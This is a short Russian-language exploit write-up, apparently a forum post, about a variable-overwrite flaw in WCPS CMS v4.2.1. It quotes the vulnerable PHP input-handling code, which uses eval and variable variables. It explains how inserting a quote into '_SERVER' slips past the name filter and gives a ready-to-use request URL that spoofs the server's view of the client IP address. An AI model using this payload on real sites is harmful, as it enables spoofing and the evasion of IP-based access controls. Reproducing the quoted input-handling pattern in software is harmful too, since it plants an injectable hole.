Перезапись системных переменных WCPS v.4.2.1
Вообщем для тех кто хочет понять "как?", проведу небольшое вступление. Вот глянем код файла
inc/php_function.php:
Код:
...
if ( is_array($_GET) ) {
while( list($k, $v) = each($_GET) ) {
if ( is_array($_GET[$k]) ) {
while( list($k2, $v2) = each($_GET[$k]) ) {
$k=key_check("$k");//Кавычки не убирать
$k2=key_check("$k2");
$_GET[$k][$k2] = str_check($v2);
eval("\$".$k."[\$k2] = str_check(\$v2);");
}
}
else { $k=key_check("$k");$_GET[$k] = str_check($v); $$k = $_GET[$k];}
}
}
...
function key_check($key) {
if ($key == '' OR $key =='_SERVER' OR $key =='_SESSION' OR $key =='_FILES' OR $key =='_REQUEST') { return ''; }
$key = preg_replace("/[^\w\xB2-\xB4\xBF-\xFF\xA5\xA8\xAA\xAF\xB8\xBA\s]/", "", $key );
return $key;
}
...
собственно это весь интересующий нас код. Как видно первая часть кода(такие же куски есть и для массивов POST и COOKIE), перепроверяет все переменные переданные GET-ом, и в случае если имя переменной равно какому нибудь системному массиву, уничтожает эту переменную, а также каждое значение переменной походит фильтрацию, между нами говоря я видел подобного рода код где то еще. Так вот приглядимся к функции
key_check. Как видим она сначало проверяет на соответствие имени переменной и имени массива(кстати про массив GLOBALS они забыли), а потом на содержание в этом имени "запрещенных символов", это нам на руку.
Чтож вот собственно и как юзать:
Код:
http://test2.ru/?_SER'VER[REMOTE_ADDR]=111.111.111.111
После такого обращения к системе, цмс будет "думать" что ваш IP равен "111.111.111.111".